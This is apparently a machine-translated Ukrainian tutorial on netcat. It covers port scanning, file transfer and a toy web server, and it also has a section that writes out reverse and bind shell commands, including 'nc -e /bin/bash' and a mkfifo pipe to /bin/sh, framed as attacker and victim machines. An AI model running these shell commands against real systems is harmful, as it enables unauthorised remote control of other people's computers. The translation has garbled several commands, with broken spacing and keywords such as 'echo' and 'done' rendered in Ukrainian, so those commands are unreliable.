NetCat

Netcat - використання швейцарського армійського ножа Pro

Netcat - використання швейцарського армійського ножа Pro
Netcat - це утиліта, яка використовується для читання та запису даних через порти TCP та UDP. Він може бути використаний для багатьох цікавих речей, таких як передача файлів, сканування портів, перенаправлення портів, бекдор для чужого ПК, створення простої програми чату, усунення несправностей мережі та багато іншого, тому він відомий як швейцарський армійський ніж. Крім того, він поставляється з попередньо встановленою майже в кожному дистрибутиві Linux сьогодні, і в основному він використовується адміністраторами мережі, DevOps та інженерами безпеки для своїх щоденних невеликих завдань.

Коротка різниця між netcat-traditional та netcat-openbsd

Для Netcat доступні два схожі пакети з невеликою різницею між ними.

netcat-традиційний включає додатковий параметр '-e', який можна використовувати для прив'язки програми (i.e bash) з netcat. Ця функція дуже корисна для віддаленого адміністрування.

netcat-openbsd мають додаткову підтримку для IPv6 та проксі.

Встановлення Netcat

Хоча netcat поставляється попередньо встановленим у більшості дистрибутивів Linux, але якщо ні, його можна легко встановити за допомогою наступних команд.

Для традиційного пакету,

[захищено електронною поштою]: ~ $ sudo apt-get install netcat-traditional

Для версії openbsd,

[захищено електронною поштою]: ~ $ sudo apt-get install netcat-openbsd

Netcat для Windows можна завантажити звідси https: // sourceforge.net / projects / nc110 / files /.

Зараз ми розглянемо кілька цікавих випадків використання netcat

Сканування портів за допомогою netcat

Для сканування на наявність відкритих портів використовуйте опцію '-z'. Netcat намагатиметься підключитися до кожного порту без надсилання будь-яких даних або дуже обмежених даних у випадку UDP. Введіть наступне

[захищено електронною поштою]: ~ $ nc -z -v hackme.орг 80
... відрізати ..
хакме.орг [217.78.1.155] 80 (http) відкрито

Щоб сканувати діапазон портів, введіть

[захищено електронною поштою]: ~ $ nc -z -nv 192.168.100.72 20-80
(НЕВІДОМО) [192.168.100.72] 80 (http) відкрито
(НЕВІДОМО) [192.168.100.72] 22 (ssh) відкрито

Передача файлів за допомогою netcat

Інший корисний варіант використання netcat - це передача файлів між віддаленими комп'ютерами. Ви можете надсилати тексти та двійкові файли з одного ПК на інший ПК. Ми спробуємо надіслати файл “файл.pdf »з ПК з Linux на ПК з ОС Windows [IP 192.168.100.72] на прикладі netcat.

На машині Windows (приймач) введіть наступне

C: \ Users> nc -nvlp 1337> файл.pdf
Прослуховування на [0.0.0.0] (сім’я 2, порт 1337)

На машині Linux (відправник) введіть наступне

[захищено електронною поштою]: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Підключення до 192.168.100.72 порт 1337 [tcp / *] вдався!

Віддалене адміністрування за допомогою netcat

Одним з найкращих випадків використання netcat є віддалене адміністрування, це означає, що ви можете керувати чужим ПК за допомогою netcat. Netcat-traditional поставляється з опцією '-e', яка може бути використана для прив'язки програми (тобто.e cmd.exe у Windows або bash у Linux) з портом, це означає, що netcat буде діяти як комунікатор між програмою та віддаленим ПК. Netcat отримуватиме команди з віддаленого ПК, виконуватиметься в локальній системі і надсилатиме результати назад на віддалений ПК. Ця функція широко використовується для зловмисних цілей, щоб уникнути закритих дверей ПК та серверів. Ця функція доступна лише в традиційному для netcat, але з невеликою хитрістю, netcat-openbsd також може використовуватися для тих же цілей. Ви можете використовувати два способи керування чужим ПК.

В Зворотна оболонка з'єднання, зловмисник прослуховує порт і чекає відправлення з'єднання з машини-жертви. Він використовується, коли комп’ютер-жертва знаходиться поза NAT або не має загальнодоступної IP-адреси.

Щоб отримати зворотну оболонку за допомогою netcat, вам потрібно прослухати порт, використовуючи netcat. Наберіть на машині зловмисника наступне,

[захищено електронною поштою]: ~ $ nc -nvlp 1337
Прослуховування на [0.0.0.0] (сім’я 2, порт 1337)

На машині жертви (якщо netcat-традиційний встановлено)

// замінити “/ bin / bash” на “cmd.exe ”у випадку Windows

[захищено електронною поштою]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bash

Для netcat-openbsd (де опція “-e” не підтримується)

[захищено електронною поштою]: ~ $ rm / tmp / f; mkfifo / tmp / f; cat
/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f

Перебуваючи в Обв’язуюча оболонка з'єднання, зловмисник прив'язує порт на машині жертви і підключається до цього порту за допомогою клієнтського сокета. Він використовується, коли машина зловмисника знаходиться позаду NAT або не має загальнодоступного IP.

На машині жертви введіть

[захищено електронною поштою]: ~ $ nc -nlvp 1337 -e / bin / bash
прослуховування [будь-якого] 1337 ..

Тепер для запуску команд на машині-жертві введіть

[захищено електронною поштою]: ~ $ nc -nv 127.0.0.1 1337
Підключення до 127.0.0.1 1337 порт [tcp / *] вдався!
$ id
uid = 1000 (azad) gid = 1000 (azad) групи = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (dip), 46 (plugdev), 118 (lpadmin), 129 (sambashare)

Простий веб-сервер за допомогою netcat

Ви також можете зробити ще один простий трюк, щоб використовувати netcat як мінімальний односторінковий веб-сервер. Цей веб-сервер буде дуже простим без особливих конфігурацій, і ми будемо використовувати для нього надсилання нашого HTML-коду до браузера.

[електронна пошта захищена]: ~ $ while true; do echo -e "HTTP / 1.1200 ОК \ n \ n $ (ехо "


Мій простий веб-сервер за допомогою netcat

")" | nc -nvlp 1337; зроблено
Прослуховування на [0.0.0.0] (сім’я 2, порт 1337)

Тепер спробуйте отримати веб-сторінку за допомогою curl

[захищено електронною поштою]: ~ $ curl http: // 127.0.0.1: 1337 /

Мій простий веб-сервер за допомогою netcat

Вкажіть час очікування для сесії netcat

Ви можете вказати час очікування для сеансу netcat, використовуючи опцію “-w”. Netcat автоматично від'єднає свій сеанс після закінчення зазначеного часу.

// -w [Час у секундах]
[захищено електронною поштою]: ~ $ nc -w 40 -nvlp 1337
Прослуховування на [0.0.0.0] (сім’я 2, порт 1234)

Продовжуйте слухати, навіть якщо Клієнт закриває підключення

У звичайному режимі сервер netcat вимикається і перестає слухати порт, коли клієнт закриває з'єднання. Ви можете підтримувати роботу сервера, використовуючи опцію -k

[захищено електронною поштою]: ~ $ nc -k -nlvp 1234
Прослуховування на [0.0.0.0] (сім’я 2, порт 1234)

Висновок

Netcat - це проста, але ефективна утиліта, яку можна використовувати для багатьох простих щоденних завдань. Він поставляється з попередньо встановленою майже в усіх UNIX, таких як операційні системи, і може бути використаний для різних завдань, таких як зв'язок між двома ПК, передача файлів та багато іншого.

Як встановити League of Legends на Ubuntu 14.04
Якщо ви шанувальник League of Legends, то це можливість для вас тестувати League of Legends. Зверніть увагу, що LOL підтримується на PlayOnLinux, якщо...
Встановіть останню стратегічну гру OpenRA на Ubuntu Linux
OpenRA - це ігровий движок Libre / Free Real Time Strategy, який відтворює ранні ігри Вествуда, такі як класичний Command & Conquer: Red Alert. Пошире...
Встановіть найновіший емулятор Dolphin для Gamecube & Wii на Linux
Емулятор Dolphin дозволяє грати у вибрані вами ігри Gamecube та Wii на персональних комп’ютерах Linux (ПК). Будучи вільно доступним і відкритим ігров...